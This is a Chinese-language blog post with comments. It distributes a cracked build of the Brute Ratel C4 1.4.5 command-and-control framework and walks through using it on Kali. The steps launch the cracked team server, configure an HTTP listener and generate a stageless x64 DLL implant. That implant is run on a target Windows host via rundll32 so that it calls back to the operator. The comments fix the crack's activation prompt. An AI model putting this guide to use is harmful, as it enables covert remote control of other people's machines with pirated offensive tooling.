前言:
本文提供的BRC4 1.4.5由41group破解,棉花糖未参与破解,使用此工具需遵守法律法规,一切后果由使用者本人承担。
简单使用教程:
以下操作除马子执行外,均在kali完成。
拿到压缩包,放到kali中解压,得到如下文件:
给brute-ratel-linx64_crack以及lib64/commander执行权限
chmod +x brute-ratel-linx64_crack
chmod +x lib64/commander
然后启动服务端:
./brute-ratel-linx64_crack -ratel -a admin -p password -h 127.0.0.1:50000 -sc cert.pem -sk key.pem
其中,账号密码端口等都可以自行修改
之后打开客户端,在kali图形界面中找到brc4文件夹,执行命令:
chmod +x Rungui.sh
./Rungui.sh
输入你自定义的账号密码端口,点击猴子头像连接即可
接下来是生成马子并上线,本文只演示一种简单的配置,复杂的配置请自行研究
进入客户端后,点击C4 Profiler -> Add http Listener
按如下图示配置即可
需要注意的地方:listener name为监听名称,可自定义,第二行为选择监听地址,可点击选择你的ip,第三行为重定向地址,可点击右侧same按钮选择与监听地址一致,端口可自定义,URL栏据官方描述可随便乱填,ssl棉花糖个人建议选择no,因为测试中ssl选择yes无法成功上线,sleep和jitter类似于cs的延时时间,可调低,末尾最后一行勾选后,马子如果一次不上线,不会一直请求
配置好后点击save保存,等待几秒钟即可得到一个监听器,右键此监听器,选择Stageless,即可生成对应架构的马子,棉花糖演示选择的是 X64 Arch (Default) -> Dll,生成的dll放到目标win中,cmd执行:
rundll32 .\badger_x64.dll,main
即可上线
3 条评论
第二次运行的时候就会出现 是哪里出现了问题啊
root@lavm-vayaodswzm:~/BRC4# ./brute-ratel-linx64_crack -ratel -a admin -p password -h 127.0.0.1:50000 -sc cert.pem -sk key.pem
[!] Enter activation key:
[!] Enter registered email ID:
每次运行会有个文件被删除,你解压对比一下哪个文件没了,重新放进去就可以了
好的 感谢